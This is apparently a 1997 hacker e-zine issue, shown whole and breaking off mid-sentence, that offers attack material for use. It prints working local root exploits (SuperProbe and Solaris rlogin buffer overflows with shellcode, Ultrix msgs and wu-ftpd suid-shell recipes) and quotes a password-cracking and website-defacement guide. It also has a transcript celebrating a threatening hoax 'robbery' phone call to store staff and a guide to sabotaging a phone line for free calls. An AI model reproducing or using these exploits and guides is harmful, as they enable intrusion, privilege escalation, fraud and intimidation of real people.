crh001.txt100644 1751 12 511652 6355575542 10323 0ustar wheel컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== =--------------------=====================================--------------------= =--------------------= Status : Confidence Remains High. =--------------------= =--------------------= Issue : 001. =--------------------= =--------------------= Date : April 16th 1997. =--------------------= =--------------------=====================================--------------------= =============================================================================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .:. Site Of The Month .:. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----------------------> http://micros0ft.paranoia.com <----------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Welcome To Issue 1 Of Confidence Remains High......: Tetsu Khan 2. sIn eXposed........................................: The CodeZero + Friends -----=> Section B : Exploits And Code. 1. SuperProbe.........................................: Solar Designer 2. Ultrix Exploit.....................................: StatioN 3. Solaris 2.5 / 2.5.1 rlogin Exploit.................: Jeremy Elson 4. wu-ftpd 2.4(1) Exploit.............................: Eugene Schultz 5. portmsg.c..........................................: Some FTP Someplace.. -----=> Section C : Phones / Scanning / Radio. 1. Fast Food Restuarant Frequencies...................: Dj Gizmo 2. Robbing Stores With Phones, A Real Example.........: The CrackHouse 3. How To Rewire Your House For Free Phone Calls......: WildFire -----=> Section D : Miscellaneous. 1. Hacking Electrical Items Part 2, The Sequel........: Tetsu Khan 2. Virus Definitions..................................: so1o 3. Fun With whois, sinnerz.com........................: so1o 4. Hacking Space Shuttles, Abort Codes................: NailGun 5. Country Domain Listing.............................: SirLance -----=> Section E : World News. 1. CoreWars...........................................: so1o / od�phreak 2. Technophoria Want A Piece Of CodeZero Too?.........: so1o 3. Global kOS Press Release...........................: Spidey 4. www.ncaa.com Hack Makes News.......................: so1o 5. CodeZero To Release sunOS 5.x RootKit..............: so1o 6. Too Many nethosting.com Break-Ins..................: so1o 7. sulfur of #hack to print a bi-monthly magazine.....: so1o 8. 2600 Printers go bust and take $9000 with them.....: so1o ------=> Section F : Projects. 1. IP Spoofing Programs And Utilities.................: Dr_Sp00f 2. Using LinuxRootKitIII..............................: suid -----=> Section G : The End. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Welcome To Issue 1 Of Confidence Remains High : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Confidence Remains High will be issued EVERY 50 DAYS as from April 16th... It is free, not like 2600, or sulfur's soon to be released Access Denied, which both cost *YOU*, the reader MONEY, cash, $$$ etc. which we don't like, because information should be free, and so, we bring you Confidence Remains High, with news, exploits, scanning, telco, and enough shit to make you wonder "why did I ever pay cash for this?!" anyway, on with the show... ==================> http://www.codez.com UP FUCKEN NOW!@# <================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== Confidence Remains High is issued every 50 days as from April 16th, as then, issue 20 will be released on New Years Day 2000 (if we go that far!) Tetsu Khan. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. sIn eXposed : CodeZero + Friends. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� If you cant be bothered to read all this shit, just go to... ---------------> www.sinnerz.com/bible.htm <--------------- ...And view the lameness for yourself :) ------------------------------------------------------------------------------- Concerning the news in issue 2 of the CodeZero technical journal, we found this response (http://www.sinnerz.com/codezero.txt) : So has anyone here heard of Codezero? Its some ezine type shit that i just wanted to expose as bullshit. I had never heard of it till i talked to darkfool and he showed me... You can check it out at neonunix.org/codezero. It is pretty good for a laugh. When me and Banshee and Messiah first read it we all were in #sin and the first thing to come to our mind was.. wtf is this? Some hacker gossip column or what? Even more funny was the surprise i got when i saw that the editor was Tetsu Khan (so1o who was mentioned earlier in the Bible)... that brought a smile to my face to see that. Anyways so i was reading thru issue 2 of codezero and i happend to see a lot of bogus information...stuff said that wasn't true. Same with the first issue. Examples our comments like "Infected has some new programs coming out soon including Utopia an encryption program by The Messiah." Anyways im doing the algorithm for that program with Messiah and it is not going to be out for a long time... Messiah has a lot of plans for the future all coming before Utopia does.... Those are the exact, untouched words of HosTi�e of SiN, hmmm, lets examine that passage more closely... "some ezine type shit that i just wanted to expose as bullshit..." "i was reading thru issue 2 of codezero and i happend to see a lot of bogus information...stuff said that wasn't true..." This is very interesting indeed, that they should care about a small news section in the journal isn't it? seeing that we published how many lines about them? a whole 20 I hear you say? hmm...doesn't the journal have exploits and other stuff in it to? I think it does... "Anyways im doing the algorithm for that program with Messiah and it is not going to be out for a long time... Messiah has a lot of plans for the future all coming before Utopia does...." So then HoSti�e, you can program now? thats new, and *YOU* are coding the algorithm? intersting... WAIT! you are saying that Utopia is true? and that we did publish correct information? I always thought so, seeing that the truth is that you probably wanted your beautiful new program to be a big surpise to the "scene"... Heh, how silly of me to actually think you had a clue! You just can't take it that you are stuck in a lame fuck group of wannabes and the truth is finally coming out...Let us examine more examples found on www.sinnerz.com : It also had some shit like "4 new hacks were reported this month" and they were right on the 4 new hacks part but they put bogus shit about them. The catch22 one they happend to put the html for it.. well they put the wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the names of all the SIN members on the page. Which they decided to leave out... also They put some weird shit which they said was on the 2 hacks Darkfool did. Where it was the entersin.gif from our page that was there with a bunch of other links. Anyways there is also a lot of other shit that was bullshit in both of their issues... SHoCk HoRRoR !!!! Darkfool was responsible for the www.catch22.com hack ?? and SiN was linked to the hacks too?? That is interesting news HoSTi�e, seeing you just could have landed one of your SiN members in trouble, as CodeZero didn't mention any names concerning the catch22.com hack, and the very first index.html to go up, which was the one we published was infact very correct, its just that the index.html must have changed how many times that day? hmmm... "...wrong shit that was on it. Becuz on the catch22 hack Darkfool had put the names of all the SIN members on the page. Which they decided to leave out..." Strange...seeing another hacker, by the name of Sventa, was blamed entirely for the attacks. Oh yeah, one last thing, in the index.html that was apparently modified by Darkfool of SiN, there were 8 numbers, we know what they stand for, SiN doesn't, all will be explained one day, as SiN are cl00less and need a good kicking. Let us continue, with a "hacking guide" taken from www.sinnerz.com : -------------------------------------------------------------------- _________ ___ _______ \~=._ _.=~/ / _____/ | | \ \ \~=._ _.=~/ \ ~=__=~ / \_____ \ | | / | \ \ ~=__=~ / \_.=~ ~=._/ / \ | |/ | \ \_.=~ ~=._/ _.=~ \ / ~=._ /_______ / |___|\____|__ / .=~ \ / ~=. L------\------/------7 \/ \/ L------\------/------7 \ / \ / \ / http://www.sinnerz.com \ / \/ \/ OK, this is my mini guide to the easiest 'hacking' there is ( I think ) if any one knows different then mail me and tell me :) . Most FTP servers have the directory /pub which stores all the 'public' information for you to download. But along side /pub you will probably find other directorys such as /bin and /etc its the /etc directory which is important. In this directory there is normally a file called passwd. . This looks something like this :- root:7GHgfHgfhG:1127:20:Superuser jgibson:7fOsTXF2pA1W2:1128:20:Jim Gibson,,,,,,,:/usr/people/jgibson:/bin/csh tvr:EUyd5XAAtv2dA:1129:20:Tovar:/usr/people/tvr:/bin/csh mcn:t3e.QVzvUC1T.:1130:20:Greatbear,,,,,,,:/usr/people/mcn:/bin/csh mouse:EUyd5XAAtv2dA:1131:20:Melissa P.:/usr/people/mouse:/bin/csh This is where all the user names and passwords are kept. For example, root is the superuser and the rest are normal users on the site. The bit after the word root or mcn such as in this example (EUyd5XAAtv2dA) is the password BUT it is encrypted. So you use a password cracker....which you can d/l from numerous sites which I will give some URL's to at the end of this document. With these password crackers you will be asked to supply a passwd. file which you download from the \etc directory of the FTP server and a dictionary file which the crackers progam will go through and try to see if it can make any match. And as many people use simple passwords you can use a 'normal' dictionary file. But when ppl REALLY don't want you to break their machines they set their passwords to things such as GHTiCk45 which Random Word Generator will create (eventually ). Which is where programs such as Random Word Generator come in. ( Sorry just pluging my software ) BTW the bad news is that new sites NORMALLY have password files which look like this :- root:x:0:1:0000-Admin(0000):/:/sbin/sh The x signifies shadowed - you can't use a cracker to crack it because there's nothing there to crack, its hidden somewhere else that you can't get to. x is also represented as a * or sometimes a . Ones like the top example are known as un-shadowed password files normally found at places with .org domain or .net and prehaps even .edu sites. (Also cough .nasa.gov cough sites). If you want a normal dictionary file i recommend you go to http://www.globalkos.org and download kOS Krack which has a 3 MEG dictionary file. Then run a .passwd cracking program such as jack the ripper or hades or killer crack ( I recommend ) against the .passwd file and dictionary file. Depending upon the amount of passwords in the .passwd file, the size of the dictionary file and the speed of the processor it could be a lengthy process. Eventually once you have cracked a password you need a basic knowledge of unix. I have included the necassary commands to upload a different index.html file to a server :- Connect to a server through ftp prefably going through a few shells to hide your host and login using the hacked account at the Login: Password: part. Then once connected type dir or list If there's a directory called public_html@ or something similar change directory using the Simple dos cd command ( cd public_html ) Then type binary to set the mode to binary transfer ( so you can send images if necassary ) Then type put index.html or whatever the index file is called. It will then ask which transfer you wish to use, Z-Modem is the best. Select the file at your end you wish to upload and send it. Thats it ! If you have root delete any log files too. Please note that this process varys machine to machine. To change the password file for the account ( very mean ) login in through telnet and simply type passwd at the prompt and set the password for the account to anything you wish. Thats it....if ya don't understand it read it about 10x if ya still don't ask someone else i am too busy with errrr stuff.. Links :- http://www.sinnerz.com Where you got this I hope. Stay cool and be somebodys fool everyone Darkfool darkfool@pancreas.com http://www.sinnerz.com --- Ummm, *NEWS FLASH*, lets see shall we, this tells attackers to retrieve the passwd file using what?! FTP I hear you scream? well, lets see shall we children, gather 'round... "Most FTP servers have the directory /pub which stores all the 'public' information for you to download. But along side /pub you will probably find other directorys such as /bin and /etc its the /etc directory which is important. In this directory there is normally a file called passwd. . This looks something like this :-" Oh dear, oh dear, oh dear, lets look at the FACTS : Common FTP passwd path : /home/ftp/etc/passwd *REAL* passwd path : /etc/passwd Hmm, lets see, anyone with a clue would know that the FTP passwd file is not real, it is only there to mislead little wannabes, examples iclude members of SiN. We continue... "Eventually once you have cracked a password you need a basic knowledge of unix. I have included the necassary commands to upload a different index.html file to a server :- Connect to a server through ftp prefably going through a few shells to hide your host and login using the hacked account at the Login: Password: part. Then once connected type dir or list If there's a directory called public_html@ or something similar change directory using the Simple dos cd command ( cd public_html ) Then type binary to set the mode to binary transfer ( so you can send images if necassary ) Then type put index.html or whatever the index file is called. It will then ask which transfer you wish to use, Z-Modem is the best. Select the file at your end you wish to upload and send it. Thats it !" Okay, so now, SiN defines hacking as downloading the /home/ftp/etc/passwd which is a decoy, and then proceed to get kOS Krack (last time I checked www.globalkos.org was down) and then try to crack the passwd file and finally use FTP to upload an index.html? how imaginative and original, pity all of this info you have been fed is absolute crap, with a success rate of practically zero. One last thing... "If you have root delete any log files too." Umm, but you havent told all our wannabe hackers that read your shit where the log files are found, seeing that you have to find them, delete them, then touch them, oh yeah, I thought you were using FTP? strange... Im sure that from these examples we have fowarded to you we have started to prove the truth behind SiN, seeing they are actually quite lame wannabes with very minimal skills...this has been shown, and we will continue to add to this hall of shame for SiN, as until now, no-one has stood up to them, but now it is time for a change. Watch this space my friends, Until next time... T_K I wish I was in sIn, I dew I dew! I dew!! sIn is 3r33t!! -- so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. SuperProbe : Solar Designer 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1 * by Solar Designer 1997. */ #include #include #include char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd" "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40" "\x31\xdb\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 8192 #define alignment 0 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize / 2; i += 4) *(char **)&buffer[i] = get_sp() - 2048; memset(&buffer[bufsize / 2], 0x90, bufsize / 2); strcpy(&buffer[bufsize - 256], shellcode); setenv("SHELLCODE", buffer, 1); memset(buffer, 'x', 72); *(char **)&buffer[72] = get_sp() - 6144 - alignment; buffer[76] = 0; execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Ultrix Exploit : StatioN 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This bug has been fixed in OSF, but not in Ultrix. It should also work on any system that has the msgs mail alias. $ grep msgs /etc/aliases msgs: "|/usr/ucb/msgs -s" Ok, the first thing to do is look in the /usr/msgs directory (or whatever the directory is where the msgs files are kept), and see what the next msgs file will be (if there is 1 and 2, then the next one is pretty easy to figure out). Then, make an executable /tmp/a that like makes a suid shell (this is pretty easy to do, if you can't do it, don't consider yourself a hacker). By default, newsyslog executes every 6 days at 4 am, but it depends on the setup in crontab. What it does is age the syslog file (at /usr/adm/syslog.1, .2, ..., i think). symlink /usr/msgs/ -> /usr/adm/newsyslog $ telnet telnet> o localhost 25 mail shit, version, etc expn msgs 250 <"| /usr/ucb/msgs -s"> mail from: <`/tmp/a`> rcpt to: msgs data doesn't matter what you put here . quit So now, when it writes to /usr/msgs/, it will overwrite /usr/adm/newsyslog, and since /usr/adm/newsyslog is a shell script, it will expand `/tmp/a` by executing /tmp/a AS ROOT, giving you an suid shell or whatever /tmp/a does. From there, just clean up after yourself. StatioN 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Solaris 2.5 / 2.5.1 rlogin Exploit : Jeremy Elson 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines * by exploiting the gethostbyname() overflow in rlogin. * * gcc -o rlogin-exploit rlogin-exploit.c * * Jeremy Elson, * jeremy.elson@nih.gov */ #include #include #include #include #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. wu-ftpd 2.4(1) Exploit : Eugene Schultz 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This sploit is a teeny bit outdated, but I have been asked by many people about exploiting FTP recently... This shows you how to use the wuftp2.4(1) hole to gain root. ------------------------------------------------------------ On the VICTIM system, compile the following C code: --------------------------------------------------- main() { setuid(0); seteuid(0); system("cp /bin/sh /tmp/suidroot"); system("chmod a+rwxs /tmp/suidroot"); } Now create a shell script, called root.sh, that contains the following: ----------------------------------------------------------------------- exec a.out <----- a.out is the name of the compiled C code Now, FTP localhost, login as your account on that system and: ------------------------------------------------------------- ftp> quote site exec sh root.sh Then quit FTP and execute /tmp/suidroot to become root! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. portmsg.c : Some FTP Someplace.. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /**************************************************************************/ /* portmsg - generate a message on a port, then close connection */ /* */ /* Usage: portmsg file port */ /* */ /* When a telnet client connects to the specified port, the */ /* text from the file will be echoed to the user. After a */ /* short delay the connection will close. */ /* */ /* eg. portmsg /etc/passwd 666 */ /* */ /***************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include wait_on_child() { union wait status; while (wait3(&status, WNOHANG, (struct rusage *) 0) > 0) ; } lostconn() { exit(1); } main(argc, argv) int argc; char *argv[]; { int msgfd, fd, n; struct stat statBuf; int port; char *msg; int sockfd, newsockfd; int addrlen; int opt; struct sockaddr_in tcp_srv_addr; struct sockaddr_in their_addr; if (argc != 3) { fprintf(stderr, "Usage: portmsg file port\n"); exit(1); } port = atoi(argv[2]); if (port == 0) { fprintf(stderr, "error: bad port number [%s]\n", argv[2]); exit(1); } if ((msgfd = open(argv[1], O_RDONLY)) < 0) { fprintf(stderr, "error: cannot open message file [%s]\n", argv[1]); exit(1); } /* read the message */ fstat(msgfd, &statBuf); if (statBuf.st_size <= 0) { fprintf(stderr, "error: message file [%s] is empty\n", argv[1]); exit(1); } msg = (char *)malloc(statBuf.st_size); if (read(msgfd, msg, statBuf.st_size) != statBuf.st_size) { fprintf(stderr, "error: cannot read message file [%s]\n", argv[1]); exit(1); } /* become a daemon */ switch(fork()) { case -1: fprintf(stderr, "error: can't fork\n"); exit(1); case 0: break; default: exit(0); } if (setpgrp(0, getpid()) == -1) { fprintf(stderr, "error: can't change process group\n"); exit(1); } if ((fd = open("/dev/tty", O_RDWR)) >= 0) { ioctl(fd, TIOCNOTTY, NULL); close(fd); } (void)signal(SIGCLD, wait_on_child); bzero((char *) &tcp_srv_addr, sizeof(tcp_srv_addr)); tcp_srv_addr.sin_family = AF_INET; tcp_srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); tcp_srv_addr.sin_port = htons(port); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "can't create stream socket\n"); exit(-1); } opt = 1; if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &opt, sizeof(opt)) < 0) { perror("setsockopt"); exit(1); } if (bind(sockfd, (struct sockaddr *)&tcp_srv_addr, sizeof(tcp_srv_addr)) < 0) { fprintf(stderr, "can't bind local address\n"); exit(-1); } listen(sockfd, 5); main_again: addrlen = sizeof (their_addr); newsockfd = accept(sockfd, (struct sockaddr *) &their_addr, &addrlen); if (newsockfd < 0) { if (errno == EINTR) goto main_again; fprintf(stderr, "accept error\n"); exit(-1); } switch(fork()) { case -1: fprintf(stderr, "server can't fork\n"); exit(-1); case 0: dup2(newsockfd, 0); dup2(newsockfd, 1); for (n = 3; n < NOFILE; n++) close(n); break; default: close(newsockfd); goto main_again; } /* daemon child arrives here */ (void)signal(SIGPIPE, lostconn); (void)signal(SIGCHLD, SIG_IGN); fprintf(stdout, msg); (void)fflush(stdout); sleep(5); exit(0); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Fast Food Restuarant Frequencies : Dj Gizmo 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� If you got a scanner and or transciever that works with these frequencies, then you could have some serious phun... ------------------------------------------------------------------------------- RESTAURANT CUSTOMER (R) CLERK (I) LOCATION ------------------------------------------------------------------------------- Arby's 30.8400 154.5700 Nationwide Bess Eaton Donut 457.5375 467.7625 Rhode Island Big Boy 30.8400 154.5700 UNKNOWN OH area 457.6000 467.8250 UNKNOWN OH area Burger King 30.8400 154.5700 UNKNOWN OH area 31.0000 170.3050 UNKNOWN GA area 33.4000 154.5400 Frederick, MD 457.5500 467.7750 Baltimore, MD area 457.5625 467.7875 Nationwide 457.5750 467.8000 UNKNOWN area 457.6000 467.8250 UNKNOWN area 460.8875 465.8875 Nationwide 461.5375 UNKNOWN UNKNOWN OH area Burgerville 30.8400 154.5700 UNKNOWN OH area Dairy Queen 30.8400 154.5700 UNKNOWN OH area 460.8875 465.8875 UNKNOWN OH area 920.2625 WFM UNKNOWN Halifax, Nova Scotia Dunkin Donuts 30.8400 154.5700 UNKNOWN NH area 33.1600 154.5150 UNKNOWN NH area 33.4000 154.5400 UNKNOWN NH area El Mexicano 464.9625 469.9625 Germantown, MD G.D. Ritzy's 35.1000 UNKNOWN UNKNOWN OH area Hardee's 30.8400 154.5700 Nationwide 31.0000 170.3050 UNKNOWN NC area 457.5375 467.7625 UNKNOWN OH area 460.8875 465.8875 UNKNOWN OH area 461.0875 466.0875 UNKNOWN OH area 461.1125 466.1125 Aurora, IL area Jack in the Box 33.4000 154.5400 San Jose, CA Kenny Rogers Roasters 469.0125 464.0125 Frederick, MD Chicken Kentucky Fried Chicken 30.8400 154.5700 Occoquan, VA area 31.0000 170.3050 UNKNOWN MN area 33.1400 151.8950 UNKNOWN OH area 35.0200 154.6000 Frederick, MD 457.5875 467.8125 Vienna, VA area 457.6000 467.8250 UNKNOWN OH area 460.8875 465.8875 Washington, DC area 462.7625 467.8875 Washington, DC area McDonald's CANADA 30.8400 151.6700 main freq. Canada 30.8400 154.1450 aux. freq. Canada McDonald's U.S.A. 30.8400 154.5700 San Diego, CA area 31.0000 170.3050 UNKNOWN OH/NC area 33.1400 151.8950 Nationwide 33.1400 170.3050 Southfield, MI area 33.4000 154.5400 Frederick, MD 33.4000 154.5700 UNKNOWN area ** 35.0200 151.8950 UNKNOWN area ** 35.0200 154.4900 Decatur, IN area 35.0200 154.6000 Nationwide 151.7150 169.4450 Washington, DC area 151.7450 UNKNOWN UNKNOWN OH area 151.7750 171.9050 UNKNOWN OH area 154.5700 170.2450 Nationwide 154.6000 171.1050 Nationwide 155.0000 UNKNOWN UNKNOWN OH area 457.5375 461.0875 UNKNOWN OH area 457.5500 467.7750 UNKNOWN OH area 457.6000 467.8250 UNKNOWN OH area 460.8875 465.8875 UNKNOWN OH area 461.0375 466.0375 UNKNOWN OK/CA area 461.0875 466.0875 UNKNOWN OH area 462.1625 467.1625 UNKNOWN OH area 463.2875 468.2875 UNKNOWN NY area 464.5125 UNKNOWN UNKNOWN OH area 469.0125 464.0125 Germantown, MD 469.1875 464.1875 Frederick, MD 920.5000 WFM 903.5000 WFM Gaithersburg, MD Rally's 457.5375 468.3875 UNKNOWN OH area 461.0875 466.0875 UNKNOWN OH area 461.5375 462.1625 Holland OH area Roy Rogers 30.8400 154.5700 Germantown, MD 457.5375 467.7625 Washington, DC area 469.0125 464.0125 Germantown, MD 469.9250 464.9250 Vienna, VA Taco Bell 30.8400 154.5700 Washington, DC area 33.1600 154.5150 Frederick, MD 33.4000 154.5400 Germantown, MD 460.8875 465.8875 Nationwide 461.0875 466.0875 UNKNOWN OH area 461.5375 UNKNOWN UNKNOWN OH area 464.9625 469.9625 UNKNOWN OH area 469.0125 464.0125 Reston, VA Wendy's 33.4000 154.5400 Rockville, MD 49.8300 49.8900 UNKNOWN area ** 457.5125 467.7375 UNKNOWN OH area 457.5375 467.7625 UNKNOWN OH area 457.6125 467.8375 Washington, DC area 460.8875 465.8875 Nationwide 461.0875 466.0875 UNKNOWN OH area 461.8125 UNKNOWN UNKNOWN OH area 464.3750 UNKNOWN Headquarters 464.5125 UNKNOWN Columbus, OH area White Castle 457.6000 467.8250 UNKNOWN OH area 461.8125 UNKNOWN Columbus, OH area - Have Phun! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Robbing Stores With Phones, A Real Example : The CrackHouse 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� the following is a transcript of a teleconference robbery of a Wawa convience store, all names remain the same to fully implicate the guilty. the sad thing is this is an actual transcript. dk: Hello, listen very carefully I'm not going to repeat myself. manager: Who is this? dk: Don't worry about that, listen carefully, don't interrupt. Are you the manager and if so what is your name? manager: yes, i'm the manager, my names kathy. dk:ok kathy, look across the street do you see the apartment complex directly opposite you? manager: yes. dk: i have a man stationed in a car in that complex's parking lot. he has a high powerd assault rifle aimed at the individual behind the counter. i have another man stationed adjacent to the Wawa with a cellular phone. what's the individual's name behind the cash register? manager: her names Lori, please don't hurt anyone. dk: no ones going to get hurt as long as you shut the fuck up and do exactly as i say. instruct lori that she is to keep her hands on the counter at all times, with her palms laid out flat. shes only to move when she must make change for a customer, do not alert any customers in the store kathy. do you understand me? manager: yes i understand, hold on. (kathy then instructs lori) please promise you won't hurt anyone? please. dk: no ones getting hurt, now we got 30 seconds kathy from when i say go, when i say go you grab a plastic bag, fill it with all the money in the register furthest from the doorway and open the back door and leave all the money there, then shut and lock the door. manager: ok ok, do you want the foodstamps? dk: no! the foodstamps go in a seperate bag. sulfur: and get me a gatorade. manager: a gatorade? what kind? sulfur: if it's not a large im gonna open fire. manager: ok just please don't hurt anyone. dk: ok kathy, go! (theres a rustling of bags and some background noise) manager: ok, done, now what? dk: kathy have you made any attempt to contact any form of law enforcement? manager: no i promise. sulfur: she's lying. dk: kathy, do you know what a digital voice analyzer is? (dk is now completely talking out his ass) manager: no. dk: well we have one connected to a polygraph examiner and its telling us your lying kathy. manager: i swear to you im not lying! sulfur: shoot her dk: kathy your lying. manager: no no im not! dk: your lying kathy, mike, open fire open fire! z: open fire!! manager: LORI!! DUCK!! *click* everyone on the conference call: BAHAHAHAHAHAHAHAHAHA 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. How To Rewire Your House For Free Phone Calls : WildFire 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� (-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-) How To Rewire You House For Free Fone Calls In The U.K (-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-)(-) By WildFire of AWOL The aim is to teach you how to rewire your house to an engineer test line for free Fone calls, you dont need any little coloured boxes etc, all you need is a bit of patience and a lot of guts =) EQUIPMENT -: A B.T line into your house Socket wrench with 1/2 inch bit Offical looking enginner clothing (lumi jacket) C.B radios (Optional) STEP 1: We need to find out some information about the your line (Note : these numbers are not anything to do with your Fone number) what we need to know is how it runs back to B.T Eg. The pole outside your house is the first contact then it runs underground to A big green box, these are called DP's (Disconection/Connection points) Fig 1. House -----> Pole ------> Green box ------> B.T \/ \/ Prefix = 46 95 The way to find this out is by sabotaging your house's fone line to get an engininer to pay you a visit . With him he should bring a nice filo-fax with all his jobs in (all the places he's got to visit and their line info 